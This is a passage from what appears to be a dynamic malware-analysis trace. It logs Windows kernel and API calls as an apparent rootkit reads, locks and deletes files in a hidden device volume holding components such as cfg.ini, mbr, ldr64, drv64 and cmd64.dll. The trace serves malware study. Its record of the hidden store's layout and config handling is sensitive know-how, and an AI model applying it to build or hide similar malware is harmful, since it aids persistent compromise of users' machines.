(in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.412] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.412] IdePortDispatch () returned 0x103 [0119.413] KeWaitForMutexObject () returned 0x0 [0119.413] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.413] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.413] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.413] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.413] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.413] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bafcb0 [0119.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.413] KeLeaveCriticalRegion () [0119.413] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.413] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.413] KeEnterCriticalRegion () [0119.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.413] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.413] KeLeaveCriticalRegion () [0119.413] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.413] KeEnterCriticalRegion () [0119.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.413] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.413] IdePortDispatch () returned 0x103 [0119.413] KeWaitForMutexObject () returned 0x0 [0119.413] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.413] KeLeaveCriticalRegion () [0119.413] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.413] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.414] KeEnterCriticalRegion () [0119.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.414] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d60000 [0119.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.414] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.414] IdePortDispatch () returned 0x103 [0119.414] KeWaitForMutexObject () returned 0x0 [0119.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.414] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.414] IdePortDispatch () returned 0x103 [0119.414] KeWaitForMutexObject () returned 0x0 [0119.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.414] KeLeaveCriticalRegion () [0119.414] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.415] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.415] KeEnterCriticalRegion () [0119.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.415] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.415] KeLeaveCriticalRegion () [0119.415] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.415] KeEnterCriticalRegion () [0119.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.415] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.415] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.415] KeLeaveCriticalRegion () [0119.415] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.415] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.415] KeEnterCriticalRegion () [0119.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.415] ExFreePoolWithTag (P=0xfffffa8003bafcb0, Tag=0x0) [0119.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.415] KeLeaveCriticalRegion () [0119.415] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.415] ReleaseMutex (hMutex=0xf0) returned 1 [0119.415] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.415] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.415] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.415] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.415] KeEnterCriticalRegion () [0119.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.415] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.415] IdePortDispatch () returned 0x103 [0119.415] KeWaitForMutexObject () returned 0x0 [0119.416] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.416] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.416] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.416] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.416] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.416] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.416] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.416] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.416] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.416] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.416] KeLeaveCriticalRegion () [0119.416] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.416] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.416] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.416] KeEnterCriticalRegion () [0119.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.416] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.416] IdePortDispatch () returned 0x103 [0119.416] KeWaitForMutexObject () returned 0x0 [0119.416] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.416] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.416] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.416] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.416] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.416] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.416] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.416] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.416] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.416] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.416] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.417] KeLeaveCriticalRegion () [0119.417] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.417] ReleaseMutex (hMutex=0x100) returned 1 [0119.417] Sleep (dwMilliseconds=0x2bf20) [0119.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a5fd570, dwHighDateTime=0x1d24fa4)) [0119.423] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.423] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.423] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.423] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.423] KeEnterCriticalRegion () [0119.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.423] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.423] IdePortDispatch () returned 0x103 [0119.423] KeWaitForMutexObject () returned 0x0 [0119.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.423] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.423] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.423] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.423] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.423] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcbcb0 [0119.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.423] KeLeaveCriticalRegion () [0119.423] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.423] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.423] KeEnterCriticalRegion () [0119.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.423] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.423] KeLeaveCriticalRegion () [0119.423] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.423] KeEnterCriticalRegion () [0119.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.424] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.424] IdePortDispatch () returned 0x103 [0119.424] KeWaitForMutexObject () returned 0x0 [0119.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.424] KeLeaveCriticalRegion () [0119.424] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.424] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.424] KeEnterCriticalRegion () [0119.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.424] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d63000 [0119.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.424] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.424] IdePortDispatch () returned 0x103 [0119.424] KeWaitForMutexObject () returned 0x0 [0119.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.424] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.424] IdePortDispatch () returned 0x103 [0119.424] KeWaitForMutexObject () returned 0x0 [0119.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.425] KeLeaveCriticalRegion () [0119.425] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.425] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.425] KeEnterCriticalRegion () [0119.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.425] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.425] KeLeaveCriticalRegion () [0119.426] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.426] KeEnterCriticalRegion () [0119.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.426] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.426] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcbd70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.426] KeLeaveCriticalRegion () [0119.426] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.426] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.426] KeEnterCriticalRegion () [0119.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.426] ExFreePoolWithTag (P=0xfffffa8003bcbcb0, Tag=0x0) [0119.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.426] KeLeaveCriticalRegion () [0119.426] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.426] ReleaseMutex (hMutex=0xf0) returned 1 [0119.426] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.426] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.426] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.426] KeEnterCriticalRegion () [0119.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.426] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.426] IdePortDispatch () returned 0x103 [0119.426] KeWaitForMutexObject () returned 0x0 [0119.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.426] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.426] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.426] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.426] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.426] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb2b0 [0119.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.426] KeLeaveCriticalRegion () [0119.426] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.426] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.427] KeEnterCriticalRegion () [0119.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.427] KeLeaveCriticalRegion () [0119.427] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.427] KeEnterCriticalRegion () [0119.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.427] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.427] IdePortDispatch () returned 0x103 [0119.427] KeWaitForMutexObject () returned 0x0 [0119.427] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.427] KeLeaveCriticalRegion () [0119.427] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.427] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.427] KeEnterCriticalRegion () [0119.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.427] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d64000 [0119.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.427] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.427] IdePortDispatch () returned 0x103 [0119.427] KeWaitForMutexObject () returned 0x0 [0119.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.429] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: 